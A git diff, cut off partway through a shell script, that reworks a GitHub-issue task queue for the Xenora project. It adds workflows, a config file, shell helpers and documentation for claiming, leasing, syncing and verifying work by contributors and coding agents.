diff --git a/.github/ISSUE_TEMPLATE/agent-task.yml b/.github/ISSUE_TEMPLATE/agent-task.yml index 675f65d..4d8e1fd 100644 --- a/.github/ISSUE_TEMPLATE/agent-task.yml +++ b/.github/ISSUE_TEMPLATE/agent-task.yml @@ -7,13 +7,31 @@ body: id: area attributes: label: Area - description: Which owner area the work belongs to. Shared work needs agreement from both owners before it is claimed. + description: "cpu: translation, DBT, PE loading, guest startup, guest memory. gpu: RDNA2, shaders, Metal. runtime: Win32, CRT, C++ runtime, import generation, OS services, platform abstractions. shared: cross-subsystem interfaces. qa: verification, regression, security review." options: - - gpu - cpu + - gpu + - runtime - shared + - qa validations: required: true + - type: dropdown + id: priority + attributes: + label: Priority + options: + - critical + - high + - medium + - low + validations: + required: true + - type: input + id: interface + attributes: + label: Interface + description: For shared tasks, the interface name and the version or upstream commit it targets. Leave empty otherwise. - type: textarea id: goal attributes: @@ -25,7 +43,7 @@ body: id: files attributes: label: Files - description: Paths the task may edit, one per line. Two claimed tasks never share a path. + description: Paths the task may edit, one per line: exact paths, directories ending in "/", or globs with * and **. Two claimed tasks never overlap. render: text validations: required: true @@ -33,7 +51,7 @@ body: id: acceptance attributes: label: Acceptance command - description: The exact command whose success proves the task is done. It must fail before the change. + description: The exact command whose success proves the task is done. It must fail before the change. It is never run automatically; a maintainer must approve it with /approve-acceptance. render: sh validations: required: true diff --git a/.github/agent-claimers.txt b/.github/agent-claimers.txt deleted file mode 100644 index 89fbfd0..0000000 --- a/.github/agent-claimers.txt +++ /dev/null @@ -1,3 +0,0 @@ -# GitHub logins allowed to claim agent tasks, one per line. -# Repository owners, members and collaborators are always allowed. -elforeign diff --git a/.github/agent-queue.json b/.github/agent-queue.json new file mode 100644 index 0000000..83a1f2c --- /dev/null +++ b/.github/agent-queue.json @@ -0,0 +1,9 @@ +{ + "lease_hours": 24, + "upstream": "ranveersoni98/Xenora", + "maintainers": ["ranveersoni98"], + "contributors": { + "ranveersoni98": ["cpu", "shared", "qa"], + "elforeign": ["gpu", "shared", "qa"] + } +} diff --git a/.github/workflows/agent-claims.yml b/.github/workflows/agent-claims.yml index dc56a4e..2cbe6bd 100644 --- a/.github/workflows/agent-claims.yml +++ b/.github/workflows/agent-claims.yml @@ -1,8 +1,9 @@ name: Agent task claims -# Serialises /claim, /release and /blocked comments on agent task issues and -# returns stale claims to the queue. Only labels and comments change; no code -# from the issue or comment is executed. +# Applies queue commands (/claim, /release, /reassign, /progress, /blocked, +# /unblock, /approve-acceptance) and audits the queue hourly. Comment and issue +# text is only parsed as data by scripts/agent_queue; it is never executed and +# never interpolated into a shell. Not yet run on GitHub. on: issue_comment: @@ -11,83 +12,61 @@ on: - cron: "17 * * * *" workflow_dispatch: -permissions: - issues: write +permissions: {} jobs: command: if: github.event_name == 'issue_comment' && !github.event.issue.pull_request runs-on: ubuntu-24.04-arm + permissions: + contents: read + issues: write + # One global group: claims are decided one at a time so file-overlap checks cannot race. concurrency: - group: agent-claim-${{ github.event.issue.number }} + group: agent-queue cancel-in-progress: false steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: - sparse-checkout: .github/agent-claimers.txt - sparse-checkout-cone-mode: false - - name: Apply command + persist-credentials: false + - name: Decide and apply env: GH_TOKEN: ${{ github.token }} GH_REPO: ${{ github.repository }} - ISSUE: ${{ github.event.issue.number }} - BODY: ${{ github.event.comment.body }} - ACTOR: ${{ github.event.comment.user.login }} - ASSOCIATION: ${{ github.event.comment.author_association }} + PYTHONPATH: scripts run: | set -eu - command=$(printf '%s\n' "$BODY" | head -1 | awk '{print $1}') - case "$command" in /claim|/release|/blocked|/unblock) ;; *) exit 0 ;; esac - allowed=no - case "$ASSOCIATION" in OWNER|MEMBER|COLLABORATOR) allowed=yes ;; esac - if [ -f .github/agent-claimers.txt ] && grep -qx "$ACTOR" .github/agent-claimers.txt; then allowed=yes; fi - if [ "$allowed" != yes ]; then - gh issue comment "$ISSUE" --body "Ignored $command: $ACTOR is not listed in .github/agent-claimers.txt." - exit 0 - fi - labels=$(gh issue view "$ISSUE" --json labels -q '.labels[].name') - has() { printf '%s\n' "$labels" | grep -qx "$1"; } - holder=$(printf '%s\n' "$labels" | sed -n 's/^claimed-by:\(.*\)$/\1/p' | head -1) - case "$command" in - /claim) - if ! has agent:ready; then - gh issue comment "$ISSUE" --body "Not claimable: the issue is not labelled agent:ready${holder:+ (held by $holder)}." - exit 0 - fi - gh label create "claimed-by:$ACTOR" --color BFD4F2 --force >/dev/null - gh issue edit "$ISSUE" --remove-label agent:ready --add-label agent:claimed --add-label "claimed-by:$ACTOR" - gh issue comment "$ISSUE" --body "Claimed by $ACTOR. The claim lapses after 24 hours without activity on this issue or its pull request." - ;; - /release) - if [ "$holder" != "$ACTOR" ] && [ "$ASSOCIATION" != OWNER ]; then - gh issue comment "$ISSUE" --body "Only the holder ($holder) or the repository owner can release this claim." - exit 0 - fi - gh issue edit "$ISSUE" --remove-label agent:claimed --remove-label "claimed-by:$holder" --add-label agent:ready - ;; - /blocked) - gh issue edit "$ISSUE" --add-label agent:blocked - ;; - /unblock) - gh issue edit "$ISSUE" --remove-label agent:blocked - ;; - esac + python3 -m agent_queue event --path "$GITHUB_EVENT_PATH" > "$RUNNER_TEMP/event.json" + python3 -m agent_queue gather --repo "$GH_REPO" --no-prs > "$RUNNER_TEMP/state.json" + python3 -m agent_queue decide --event "$RUNNER_TEMP/event.json" --state "$RUNNER_TEMP/state.json" > "$RUNNER_TEMP/actions.json" + python3 -m agent_queue apply --repo "$GH_REPO" --actions "$RUNNER_TEMP/actions.json" - lapse: + audit: if: github.event_name != 'issue_comment' runs-on: ubuntu-24.04-arm + permissions: + contents: read + issues: write + concurrency: + group: agent-queue + cancel-in-progress: false steps: - - name: Return stale claims to the queue + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: Lapse stale claims, flag invalid tasks, write summary env: GH_TOKEN: ${{ github.token }} GH_REPO: ${{ github.repository }} + PYTHONPATH: scripts run: | set -eu - cutoff=$(date -u -d '24 hours ago' +%Y-%m-%dT%H:%M:%SZ) - gh issue list --label agent:claimed --state open --limit 200 \ - --json number,updatedAt,labels \ - -q ".[] | select(.updatedAt < \"$cutoff\") | select([.labels[].name] | index(\"agent:blocked\") | not) | [.number, ([.labels[].name | select(startswith(\"claimed-by:\"))] | first // \"\")] | @tsv" | - while IFS="$(printf '\t')" read -r number holder; do - gh issue edit "$number" --remove-label agent:claimed ${holder:+--remove-label "$holder"} --add-label agent:ready - gh issue comment "$number" --body "Claim lapsed after 24 hours without activity; the task is back in the queue." - done + python3 -m agent_queue gather --repo "$GH_REPO" > "$RUNNER_TEMP/state.json" + python3 -m agent_queue audit --state "$RUNNER_TEMP/state.json" > "$RUNNER_TEMP/actions.json" + python3 -m agent_queue apply --repo "$GH_REPO" --actions "$RUNNER_TEMP/actions.json" + { + echo '## Agent queue summary' + echo '```json' + python3 -m agent_queue summary --state "$RUNNER_TEMP/state.json" --now "$(date -u +%Y-%m-%dT%H:%M:%SZ)" + echo '```' + } >> "$GITHUB_STEP_SUMMARY" diff --git a/.github/workflows/agent-pr-checks.yml b/.github/workflows/agent-pr-checks.yml new file mode 100644 index 0000000..7e891a6 --- /dev/null +++ b/.github/workflows/agent-pr-checks.yml @@ -0,0 +1,78 @@ +name: Agent PR checks + +# Checks pull requests against the task queue: linked claimed task, file +# ownership, overlap with other open pull requests, and independent +# verification. Runs on the base branch only: pull request code is never checked +# out or executed; changed files come from the API. Not yet run on GitHub. + +on: + pull_request_target: + types: [opened, synchronize, reopened, edited] + issue_comment: + types: [created] + +permissions: {} + +jobs: + check: + if: github.event_name == 'pull_request_target' + runs-on: ubuntu-24.04-arm + permissions: + contents: read + issues: read + pull-requests: read + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: Check pull request + env: + GH_TOKEN: ${{ github.token }} + GH_REPO: ${{ github.repository }} + PYTHONPATH: scripts + run: | + set -eu + python3 -m agent_queue event --path "$GITHUB_EVENT_PATH" > "$RUNNER_TEMP/event.json" + number=$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["number"])' "$RUNNER_TEMP/event.json") + python3 -m agent_queue gather --repo "$GH_REPO" --pr "$number" > "$RUNNER_TEMP/state.json" + status=0 + python3 -m agent_queue pr-check --state "$RUNNER_TEMP/state.json" > "$RUNNER_TEMP/result.json" || status=$? + { + echo '## Agent PR check' + echo '```json' + cat "$RUNNER_TEMP/result.json" + echo '```' + } >> "$GITHUB_STEP_SUMMARY" + exit "$status" + + verify: + if: github.event_name == 'issue_comment' && github.event.issue.pull_request + runs-on: ubuntu-24.04-arm + # issues: write posts the reply; actions: write re-runs the check after a recorded verification. + permissions: + contents: read + issues: write + pull-requests: read + actions: write + concurrency: + group: agent-verify-${{ github.event.issue.number }} + cancel-in-progress: false + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: Record verification and re-run the check + env: + GH_TOKEN: ${{ github.token }} + GH_REPO: ${{ github.repository }} + PYTHONPATH: scripts + run: | + set -eu + python3 -m agent_queue event --path "$GITHUB_EVENT_PATH" > "$RUNNER_TEMP/event.json" + number=$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["number"])' "$RUNNER_TEMP/event.json") + python3 -m agent_queue gather --repo "$GH_REPO" --pr "$number" > "$RUNNER_TEMP/state.json" + python3 -m agent_queue decide --event "$RUNNER_TEMP/event.json" --state "$RUNNER_TEMP/state.json" > "$RUNNER_TEMP/actions.json" + python3 -m agent_queue apply --repo "$GH_REPO" --actions "$RUNNER_TEMP/actions.json" + sha=$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["pr"]["head_sha"])' "$RUNNER_TEMP/state.json") + run=$(gh run list --workflow agent-pr-checks.yml --commit "$sha" --event pull_request_target --limit 1 --json databaseId -q '.[0].databaseId // empty') + if [ -n "$run" ]; then gh run rerun "$run" || true; fi diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index bbdcb0f..a567827 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -41,6 +41,10 @@ jobs: for fixture in x2 x3 x4; do python3 "experiments/x1/fixtures/$fixture.py" --check || exit 1 done + - name: Test agent task queue + run: | + PYTHONPATH=scripts python3 -m unittest discover -s tests/agent_queue + sh -n scripts/agent-queue.sh scripts/agent-sync.sh - name: Check formatting and lint run: | cargo fmt --all -- --check diff --git a/CHANGELOG.md b/CHANGELOG.md index 5ad5c9e..2640b55 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -11,7 +11,7 @@ remains unsupported. ### Added -- Added an agent task queue: an *Agent task* issue template, a workflow that serialises `/claim`, `/release` and `/blocked` comments and returns claims idle for 24 hours, and `scripts/agent-queue.sh` for listing, claiming and posting tasks. See `docs/coordination/agent-tasks.md`. The workflow has not run on GitHub yet. +- Added an agent task queue for the cpu, gpu, runtime, shared and qa areas: an *Agent task* issue form with priority and interface fields, a workflow that decides `/claim`, `/release`, `/reassign`, `/progress`, `/blocked`, `/unblock` and `/approve-acceptance` comments one at a time (dependency, cycle and file-overlap checks, 24-hour leases renewed by progress), a pull request check (linked claimed task, file ownership, overlap with other pull requests, independent `/verified `), `scripts/agent-queue.sh` and `scripts/agent-sync.sh` (upstream fetch every 12 minutes, task branches in separate worktrees) and a machine-readable queue summary. The rules are standard-library Python in `scripts/agent_queue/` with unit tests in `tests/agent_queue/`; issue text is never executed and acceptance commands need maintainer approval. See `docs/coordination/agent-tasks.md`. Unit tests pass locally; the workflows have not run on GitHub yet. ## [X18] - Automated Import Compatibility Generation & Metadata Ingestion diff --git a/docs/README.md b/docs/README.md index aa48b52..12b1144 100644 --- a/docs/README.md +++ b/docs/README.md @@ -48,4 +48,4 @@ either path. The [changelog](../CHANGELOG.md) records notable changes. - [Threat model](threat-model.md) and [security reporting](../SECURITY.md) — Execution limits and disclosure instructions. - [Legal scope](legal.md), [dependency licensing](licenses.md), and [third-party notices](../THIRD_PARTY_NOTICES.md) — Input policy, attribution, and redistribution findings. - [Contribution guidelines](../CONTRIBUTING.md) — Original authorship, Developer Certificate of Origin sign-off, and evidence requirements. -- [Agent task queue](coordination/agent-tasks.md) — Posting, claiming and finishing work items through GitHub issues so parallel contributors and coding agents do not overlap. +- [Agent task queue](coordination/agent-tasks.md) — Areas, claiming, leases, upstream sync, verification and the security model for parallel contributors and coding agents. diff --git a/docs/coordination/agent-tasks.md b/docs/coordination/agent-tasks.md index 1348c0b..4ca13f1 100644 --- a/docs/coordination/agent-tasks.md +++ b/docs/coordination/agent-tasks.md @@ -1,60 +1,121 @@ # Agent task queue -Xenora's CPU and GPU work proceed in parallel, often by coding agents. This page -describes how work is posted, claimed and finished through GitHub issues so that -no person has to relay prompts between agents. +Work items are GitHub issues. Contributors and coding agents claim them with a comment, work in +their own branch, and open a pull request that is checked against the claim. The queue is +deterministic: the rules live in `scripts/agent_queue/` (standard-library Python, no network, no +model or external service), and GitHub Actions and the shell helpers only call it. + +Status: implemented and unit-tested locally. **Not yet run on GitHub**: the workflows are untested +against the real API until the first live run. + +## Areas + +| Area | Owner | Scope | +| --- | --- | --- | +| `cpu` | maintainer | CPU translation, ARM64 dynamic binary translation, PE loading, guest startup, core guest memory | +| `gpu` | GPU contributor | RDNA2, shaders, graphics, Metal | +| `runtime` | runtime contributor | Win32, CRT, C++ runtime, import generation, OS services, platform abstractions | +| `shared` | agreed by the owners involved | Interfaces that cross subsystems | +| `qa` | any qa contributor | Independent verification, regression testing, security review | + +Who may claim what is in `.github/agent-queue.json` (`maintainers`, `contributors`, `lease_hours`, +`upstream`). The file is plain JSON, so the notes live here: the maintainer must add the runtime +contributor's GitHub login under `contributors` (for example `"their-login": ["runtime", "qa"]`) +before that person can claim. Maintainers may claim any area; others only the areas listed for them. + +## One-time label bootstrap (maintainer) + +```sh +for l in agent:ready agent:claimed agent:blocked agent:invalid agent:conflict \ + area:cpu area:gpu area:runtime area:shared area:qa \ + priority:critical priority:high priority:medium priority:low; do + gh label create "$l" --force --color BFD4F2 +done +``` + +`claimed-by:` labels are created by the workflow when a claim is granted. ## Lifecycle -1. **Post.** Anyone opens an issue with the *Agent task* template. It names the - owner area (`gpu`, `cpu` or `shared`), the files it may edit, the exact - acceptance command and any issues it depends on. New tasks are labelled - `agent:ready`. -2. **Claim.** An agent comments `/claim`. The *Agent task claims* workflow - processes claims for one issue at a time, so the first claim wins. It - replaces `agent:ready` with `agent:claimed` and `claimed-by:`. A later - claim is refused with a reply. -3. **Work.** The holder works on a branch named after the issue, for example - `task/42-vop2-integer-semantics`, and edits only the listed files. A progress - comment or a linked pull request keeps the claim alive. -4. **Finish.** The pull request says `Closes #42` and reports the acceptance - command's output. Review and merge follow [CONTRIBUTING.md](../../CONTRIBUTING.md); - an author never merges their own pull request. -5. **Lapse.** A claim with no activity for 24 hours returns to `agent:ready`. - `/release` gives a task back early. `/blocked` pauses the lapse timer while a - question is open; `/unblock` resumes it. +1. Post a task with the *Agent task* issue form or `scripts/agent-queue.sh new body.md "task: title"`. + Area, Priority, Files (exact paths, `dir/` prefixes, `*` and `**` globs), Acceptance command, + Depends on and, for shared work, Interface (interface name and the version or upstream commit + it targets). +2. `scripts/agent-queue.sh next ` picks the highest-priority task you may claim now. +3. `scripts/agent-queue.sh claim ` posts `/claim` and waits until the bot confirms: a grant + comment carrying a marker, and the label `claimed-by:`. **Do not edit anything before it + prints "claimed".** Refusals name the reason: not `agent:ready`, area not allowed for you, open + or missing dependency, dependency cycle, or file overlap with a claimed task (the issue is named). + Claims are decided one at a time across the whole repository, so two overlapping claims cannot both win. +4. `scripts/agent-queue.sh start ` creates branch `task/-` from `upstream/main` in a + separate worktree `../xenora-task-` (`--here` uses the current clean checkout instead). +5. Keep the lease alive with `scripts/agent-queue.sh progress "what changed"`. A claim lapses + `lease_hours` (24) after the latest of: the grant, your `/progress` comment, a push to your + linked pull request. Other people's comments never renew it. A lapsed task returns to the queue. +6. Open the pull request with `Closes #` and a DCO sign-off (`git commit -s`). +7. A different person (not the author, not the task holder) who is a maintainer or has `qa` + comments `/verified ` after running the acceptance command. A new push changes the + head and invalidates the verification. -Only repository owners, members, collaborators and logins listed in -`.github/agent-claimers.txt` can claim. The workflow changes labels and posts -comments; it never runs text from an issue. +## Commands (issue comments) -## Rules for posting tasks +| Command | Who | Effect | +| --- | --- | --- | +| `/claim` | allowed for the area | Take a ready task | +| `/release` | holder or maintainer | Return the task to the queue | +| `/reassign ` | maintainer | Hand the task to someone allowed for its area; new lease | +| `/progress ` | holder | Renew the lease (text required) | +| `/blocked `, `/unblock` | holder or maintainer | Set or clear `agent:blocked` | +| `/approve-acceptance` | maintainer | Authorise the acceptance command as currently written | +| `/verified ` (on a pull request) | maintainer or `qa`, not author, not holder | Independent verification of the current head | -- One task, one reviewable change. Split anything that needs more than one - pull request. -- List every file the task may edit. Two open claims never list the same path; - a task that needs a file another claim holds depends on that claim. -- `shared` tasks touch interfaces both owners use (guest memory, loader hooks, - shared Cargo configuration). Agree the interface in the issue before anyone - claims it. -- The acceptance command must fail before the change and pass after it. -- Use public sources only and follow the clean-room rules in - [AGENTS.md](../../AGENTS.md). +Labels: `area:`, `priority:`, `agent:ready|claimed|blocked|invalid|conflict`, +`claimed-by:`. An hourly audit lapses stale claims, marks tasks with missing dependencies or +cycles `agent:invalid` (and restores them when fixed), flags overlapping claims `agent:conflict`, and +writes a JSON summary to the run summary. `scripts/agent-queue.sh status --json` prints the same +machine-readable summary (counts and lists per area, priority and state). -## Agent loop +## Pull request checks -`scripts/agent-queue.sh` wraps the GitHub CLI for agents: +`agent-pr-checks` fails a pull request when: it has no `Closes #N` for a claimed task; the task is held +by someone else; it changes files outside the task's patterns; it changes a file that another open +pull request also changes; the claim has lapsed without a push; or no eligible `/verified ` exists. After a `/verified` comment the check is re-run automatically. + +## Forks and upstream sync + +Work from a fork, but synchronise against the real upstream (`ranveersoni98/Xenora` in the +config), never only your fork's `origin/main`. `scripts/agent-sync.sh` adds the remote `upstream` if +missing (it never touches `origin`), fetches every 12 minutes (`--interval 10..15`, `--once` for one +pass) and, after each fetch, lists new upstream commits that touch files of tasks you hold. It never +merges by itself; `--merge` merges `upstream/main` into the current task branch only when the tree +is clean. It works from any worktree. + +Interface changes during work, for example the maintainer's unpublished changes landing: put the +interface in a `shared` task whose Interface field names the version or commit other tasks target. +Tasks that depend on it list it in Depends on, so they cannot be claimed before it closes, and a +sync report that shows upstream touching your files is the signal to re-read the interface and merge. + +## Security model + +- Issue and comment text is data. It is parsed by fixed rules and never evaluated, never put into a + shell command line, and workflow expressions never appear inside `run:` blocks (event data is read + from the event file). +- Acceptance commands are never run automatically. `scripts/agent-queue.sh acceptance ` prints + one only when a maintainer's `/approve-acceptance` marker (posted by the bot) matches a hash of + the current text; editing the issue body invalidates the approval. Read the command before running it. +- Markers (grant, approval) count only when posted by the Actions bot, so they cannot be forged in a comment. +- Workflows declare empty top-level permissions and grant each job only what it needs; actions are + pinned by commit SHA. Pull request checks run on the base branch (`pull_request_target`), never + check out or run pull request code and read changed files through the API. +- Clean-room, DCO and native ARM64 rules in `AGENTS.md` and `CONTRIBUTING.md` apply unchanged. + +## Tests ```sh -scripts/agent-queue.sh list gpu # ready tasks in one area -scripts/agent-queue.sh next gpu # first ready task whose dependencies are closed -scripts/agent-queue.sh claim 42 # waits up to two minutes for the workflow's decision -scripts/agent-queue.sh note 42 "Decoder tables regenerated; tests next." -scripts/agent-queue.sh held # tasks you currently hold -scripts/agent-queue.sh release 42 -scripts/agent-queue.sh new body.md "task: VOP2 integer semantics" +PYTHONPATH=scripts python3 -m unittest discover -s tests/agent_queue -v +sh -n scripts/agent-queue.sh scripts/agent-sync.sh ``` -A scheduled agent can run this loop unattended: update `main`, finish or note -progress on held tasks, then claim the next ready task in its area. Agents post -new tasks for anything they find outside their area instead of editing it. +The tests cover command decisions, overlap, cycles, leases, acceptance hashing, pull request checks, +the summary, the CLI and a structural check of the workflow files. They do not exercise GitHub itself. diff --git a/scripts/agent-queue.sh b/scripts/agent-queue.sh index ce50e8b..32356c9 100755 --- a/scripts/agent-queue.sh +++ b/scripts/agent-queue.sh @@ -1,85 +1,151 @@ #!/bin/sh # SPDX-License-Identifier: GPL-3.0-or-later -# Agent task queue helper. See docs/coordination/agent-tasks.md. +# Agent task queue helper: a thin wrapper over `python3 -m agent_queue` and gh. +# Always talks to the upstream repository named in .github/agent-queue.json, not to a fork. +# See docs/coordination/agent-tasks.md. Issue text is data: nothing from it is ever executed. set -eu +root=$(cd "$(dirname "$0")/.." && pwd) +PYTHONPATH="$root/scripts" +export PYTHONPATH +aq() { python3 -m agent_queue --config "$root/.github/agent-queue.json" "$@"; } +repo=$(aq config-get upstream) +tmp=$(mktemp -d "${TMPDIR:-/tmp}/agent-queue.XXXXXX") +trap 'rm -rf "$tmp"' EXIT INT TERM + usage() { - cat >&2 <<'EOF' -usage: scripts/agent-queue.sh list [gpu|cpu|shared] open tasks ready to claim, oldest first - scripts/agent-queue.sh next first ready task in whose dependencies are closed - scripts/agent-queue.sh claim request the claim (the workflow decides) - scripts/agent-queue.sh held tasks claimed by the current GitHub user - scripts/agent-queue.sh note progress note; keeps the claim alive + cat >&2 <<'USAGE' +usage: scripts/agent-queue.sh list [area] [--json] ready tasks, by priority then number + scripts/agent-queue.sh next best claimable task for you in + scripts/agent-queue.sh claim claim and wait for the confirmed grant + scripts/agent-queue.sh start [--here] branch task/- from upstream/main in a new worktree + scripts/agent-queue.sh progress progress note; renews the lease scripts/agent-queue.sh release give the task back - scripts/agent-queue.sh new open a task from a body that follows the template -EOF + scripts/agent-queue.sh reassign <issue> <login> maintainers only + scripts/agent-queue.sh acceptance <issue> print the acceptance command only if a maintainer approved it + scripts/agent-queue.sh status [--json] queue summary + scripts/agent-queue.sh new <body.md> <title> open a task from a body that follows the template +USAGE exit 2 } +isnum() { case "$1" in ''|*[!0-9]*) echo "not an issue number: $1" >&2; exit 2 ;; esac; } +me() { gh api user -q .login; } +state() { aq gather --repo "$repo" --no-prs > "$tmp/state.json"; } +fetch() { aq fetch-issue --repo "$repo" --issue "$1" > "$tmp/issue.json"; } +post() { gh issue comment "$1" -R "$repo" --body "$2" >/dev/null; } + [ $# -ge 1 ] || usage command=$1 shift -# One line per ready task: number, area, dependency text, title ("|"-separated, oldest first). -ready() { - gh issue list --state open --label agent:ready --limit 200 \ - --json number,title,body,createdAt \ - -q 'sort_by(.createdAt) | .[] | [.number, - ((.body | capture("### Area\\s+(?<a>[a-z]+)").a) // ""), - ((.body | capture("### Depends on\\s+(?<d>[^\\n]*)").d) // ""), - .title] | map(tostring) | join("|")' -} - case "$command" in list) - want=${1:-} - ready | while IFS="|" read -r number area deps title; do - [ -z "$want" ] || [ "$area" = "$want" ] || continue - printf '#%s\t%s\t%s\n' "$number" "$area" "$title" + area="" + json="" + for a in "$@"; do + case "$a" in --json) json=--json ;; *) area=$a ;; esac done + state + aq list --state "$tmp/state.json" --area "$area" $json ;; next) [ $# -eq 1 ] || usage - ready | while IFS="|" read -r number area deps title; do - [ "$area" = "$1" ] || continue - open=no - for dep in $(printf '%s\n' "$deps" | grep -oE '#[0-9]+' | tr -d '#'); do - [ "$(gh issue view "$dep" --json state -q .state)" = CLOSED ] || open=yes - done - [ "$open" = no ] || continue - printf '%s\n' "$number" - break - done + state + aq next --state "$tmp/state.json" --area "$1" --login "$(me)" ;; claim) [ $# -eq 1 ] || usage - gh issue comment "$1" --body /claim >/dev/null - me=$(gh api user -q .login) - for _ in 1 2 3 4 5 6 7 8 9 10 11 12; do + isnum "$1" + login=$(me) + fetch "$1" + skip=$(python3 -c 'import json,sys; print(len(json.load(open(sys.argv[1]))["comments"]))' "$tmp/issue.json") + post "$1" /claim + i=0 + while [ "$i" -lt 18 ]; do sleep 10 - if gh issue view "$1" --json labels -q '.labels[].name' | grep -qx "claimed-by:$me"; then - echo "claimed #$1" - exit 0 - fi + i=$((i + 1)) + fetch "$1" + rc=0 + msg=$(aq claim-status --data "$tmp/issue.json" --login "$login" --skip "$skip") || rc=$? + case "$rc" in + 0) echo "claimed #$1 as $login; you may start editing"; exit 0 ;; + 1) echo "$msg" >&2; exit 1 ;; + esac done - echo "claim of #$1 not granted; it may be held by someone else" >&2 + echo "claim of #$1 not confirmed within 3 minutes; do not start editing" >&2 exit 1 ;; - held) - me=$(gh api user -q .login) - gh issue list --state open --label "claimed-by:$me" --json number,title -q '.[] | "#\(.number)\t\(.title)"' + start) + [ $# -ge 1 ] || usage + isnum "$1" + n=$1 + here=no + [ "${2:-}" != "--here" ] || here=yes + login=$(me) + fetch "$n" + rc=0 + aq claim-status --data "$tmp/issue.json" --login "$login" >/dev/null || rc=$? + [ "$rc" -eq 0 ] || { echo "no confirmed claim of #$n for $login: run claim first" >&2; exit 1; } + slug=$(python3 -c 'import json,re,sys; print(re.sub(r"[^a-z0-9]+","-",json.load(open(sys.argv[1]))["issues"][0]["title"].lower().replace("task:","")).strip("-")[:40])' "$tmp/issue.json") + branch="task/$n${slug:+-$slug}" + sh "$root/scripts/agent-sync.sh" --setup + git -C "$root" fetch upstream + if [ "$here" = yes ]; then + [ -z "$(git -C "$root" status --porcelain)" ] || { echo "working tree not clean" >&2; exit 1; } + git -C "$root" switch -c "$branch" upstream/main + echo "on $branch (from upstream/main)" + else + dir="$root/../xenora-task-$n" + git -C "$root" worktree add -b "$branch" "$dir" upstream/main + echo "worktree $dir on $branch (from upstream/main)" + fi ;; - note) - [ $# -eq 2 ] || usage - gh issue comment "$1" --body "$2" >/dev/null + progress) + [ $# -ge 2 ] || usage + isnum "$1" + n=$1 + shift + post "$n" "/progress $*" ;; release) [ $# -eq 1 ] || usage - gh issue comment "$1" --body /release >/dev/null + isnum "$1" + post "$1" /release + ;; + reassign) + [ $# -eq 2 ] || usage + isnum "$1" + post "$1" "/reassign $2" + ;; + acceptance) + [ $# -eq 1 ] || usage + isnum "$1" + fetch "$1" + python3 - "$tmp/issue.json" "$tmp/i.json" "$tmp/c.json" <<'PY' +import json, sys +d = json.load(open(sys.argv[1])) +json.dump(d["issues"][0], open(sys.argv[2], "w")) +json.dump(d["comments"], open(sys.argv[3], "w")) +PY + aq acceptance --issue "$tmp/i.json" --comments "$tmp/c.json" + ;; + status) + state + if [ "${1:-}" = "--json" ]; then + aq summary --state "$tmp/state.json" + else + aq summary --state "$tmp/state.json" --text + fi ;; new) [ $# -eq 2 ] || usage - gh issue create --label agent:ready --title "$2" --body-file "$1" + labels=$(aq check-body --file "$1") + for l in agent:ready $labels; do + gh label create "$l" -R "$repo" --force --color BFD4F2 >/dev/null + done + gh issue create -R "$repo" --label agent:ready --label "$(printf '%s\n' "$labels" | sed -n 1p)" \ + --label "$(printf '%s\n' "$labels" | sed -n 2p)" --title "$2" --body-file "$1" ;; *) usage diff --git a/scripts/agent-sync.sh b/scripts/agent-sync.sh new file mode 100755 index 0000000..2714ecb --- /dev/null +++ b/scripts/agent-sync.sh @@ -0,0 +1,86 @@ +#!/bin/sh +# SPDX-License-Identifier: GPL-3.0-or-later +# Keeps a checkout in step with the real upstream repository (not a fork's origin). +# agent-sync.sh [--once] [--interval MINUTES] [--merge] [--setup] +# --setup only make sure the `upstream` remote exists, then exit +# --once one fetch and report, then exit (default: repeat every 12 minutes) +# --merge merge upstream/main into the current task branch if the tree is clean +# After each fetch it lists new upstream commits that touch files of tasks you hold, so +# interface changes landing during your work are noticed. Nothing is merged unless --merge. +set -eu + +root=$(cd "$(dirname "$0")/.." && pwd) +PYTHONPATH="$root/scripts" +export PYTHONPATH +aq() { python3 -m agent_queue --config "$root/.github/agent-queue.json" "$@"; } + +once=no +setup=no +merge=no +interval=12 +while [ $# -gt 0 ]; do + case "$1" in + --once) once=yes ;; + --setup) setup=yes ;; + --merge) merge=yes ;; + --interval) shift; interval=${1:?minutes} ;; + *) echo "usage: agent-sync.sh [--once] [--interval 10-15] [--merge] [--setup]" >&2; exit 2 ;; + esac + shift +done +case "$interval" in ''|*[!0-9]*) echo "interval must be whole minutes" >&2; exit 2 ;; esac +if [ "$interval" -lt 10 ] || [ "$interval" -gt 15 ]; then + echo "interval must be 10-15 minutes" >&2 + exit 2 +fi + +upstream_repo=$(aq config-get upstream) +url="https://github.com/$upstream_repo.git" +git -C "$root" rev-parse --git-dir >/dev/null + +if ! git -C "$root" remote get-url upstream >/dev/null 2>&1; then + git -C "$root" remote add upstream "$url" + echo "added remote upstream -> $url" +elif [ "$(git -C "$root" remote get-url upstream)" != "$url" ]; then + echo "remote upstream is $(git -C "$root" remote get-url upstream), expected $url; fix it by hand (origin is never changed)" >&2 + exit 1 +fi +[ "$setup" = no ] || exit 0 + +pass() { + old=$(git -C "$root" rev-parse -q --verify refs/remotes/upstream/main || true) + git -C "$root" fetch --quiet upstream + new=$(git -C "$root" rev-parse refs/remotes/upstream/main) + if [ -n "$old" ] && [ "$old" != "$new" ]; then + echo "upstream/main moved: $(git -C "$root" rev-list --count "$old..$new") new commit(s)" + tmp=$(mktemp -d "${TMPDIR:-/tmp}/agent-sync.XXXXXX") + login=$(gh api user -q .login) + aq gather --repo "$upstream_repo" --no-prs > "$tmp/state.json" + git -C "$root" log --name-only --format='@%h' "$old..$new" | + awk '/^@/ {sha=substr($0,2); next} NF {print sha "\t" $0}' > "$tmp/files.tsv" + aq touch --state "$tmp/state.json" --login "$login" < "$tmp/files.tsv" > "$tmp/hits.json" + if [ "$(tr -d ' \n' < 